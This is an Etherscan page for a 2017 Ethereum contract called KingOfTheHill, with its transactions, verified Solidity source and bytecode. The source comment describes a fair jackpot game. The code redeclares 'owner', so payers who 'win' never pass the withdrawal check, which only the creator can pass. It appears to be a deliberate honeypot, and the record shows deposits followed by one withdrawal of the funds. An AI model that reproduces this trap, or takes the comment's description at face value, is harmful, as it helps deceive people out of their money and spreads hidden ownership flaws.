More Info
Private Name Tags
ContractCreator
Latest 7 from a total of 7 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Take All | 11685812 | 1280 days ago | IN | 0 ETH | 0.00169 | ||||
Transfer | 4755628 | 2408 days ago | IN | 0.42 ETH | 0.00100878 | ||||
Transfer | 4755591 | 2408 days ago | IN | 0.42 ETH | 0.00075925 | ||||
Transfer | 4749448 | 2409 days ago | IN | 0.21 ETH | 0.00077133 | ||||
Transfer | 4527013 | 2446 days ago | IN | 0.1 ETH | 0.00003673 | ||||
Transfer | 4525157 | 2446 days ago | IN | 0.1 ETH | 0.00008173 | ||||
0x60606040 | 4525139 | 2446 days ago | IN | Create: KingOfTheHill | 0 ETH | 0.00021796 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
11685812 | 1280 days ago | 0.83 ETH |
Loading...
Loading
Contract Name:
KingOfTheHill
Compiler Version
v0.4.11+commit.68ef5810
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2017-11-10 */ pragma solidity ^0.4.11; // Simple Game. Each time you send more than the current jackpot, you become // owner of the contract. As an owner, you can take the jackpot after a delay // of 5 days after the last payment. contract Owned { address owner; function Owned() { owner = msg.sender; } modifier onlyOwner{ if (msg.sender != owner) revert(); _; } } contract KingOfTheHill is Owned { address public owner; uint public jackpot; uint public withdrawDelay; function() public payable { // transfer contract ownership if player pay more than current jackpot if (msg.value > jackpot) { owner = msg.sender; withdrawDelay = block.timestamp + 5 days; } jackpot+=msg.value; } function takeAll() public onlyOwner { require(block.timestamp >= withdrawDelay); msg.sender.transfer(this.balance); jackpot=0; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":true,"inputs":[],"name":"withdrawDelay","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"jackpot","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"takeAll","outputs":[],"payable":false,"type":"function"},{"payable":true,"type":"fallback"}]
Contract Creation Code
60606040525b60008054600160a060020a03191633600160a060020a03161790555b5b61021c806100316000396000f3006060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b95780636b31ee01146100db5780638da5cb5b146100fd578063de3bcb9714610136575b6100b75b6002543411156100ac576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b60028054340190555b565b005b34156100c157fe5b6100c9610148565b60408051918252519081900360200190f35b34156100e357fe5b6100c961014e565b60408051918252519081900360200190f35b341561010557fe5b61010d610154565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b341561013e57fe5b6100b7610170565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146101995760006000fd5b6003544210156101a95760006000fd5b60405173ffffffffffffffffffffffffffffffffffffffff33811691309091163180156108fc02916000818181858888f1935050505015156101e757fe5b60006002555b5b5600a165627a7a723058209b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e90029
Deployed Bytecode
0x6060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b95780636b31ee01146100db5780638da5cb5b146100fd578063de3bcb9714610136575b6100b75b6002543411156100ac576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b60028054340190555b565b005b34156100c157fe5b6100c9610148565b60408051918252519081900360200190f35b34156100e357fe5b6100c961014e565b60408051918252519081900360200190f35b341561010557fe5b61010d610154565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b341561013e57fe5b6100b7610170565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146101995760006000fd5b6003544210156101a95760006000fd5b60405173ffffffffffffffffffffffffffffffffffffffff33811691309091163180156108fc02916000818181858888f1935050505015156101e757fe5b60006002555b5b5600a165627a7a723058209b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e90029
Swarm Source
bzzr://9b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e9
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.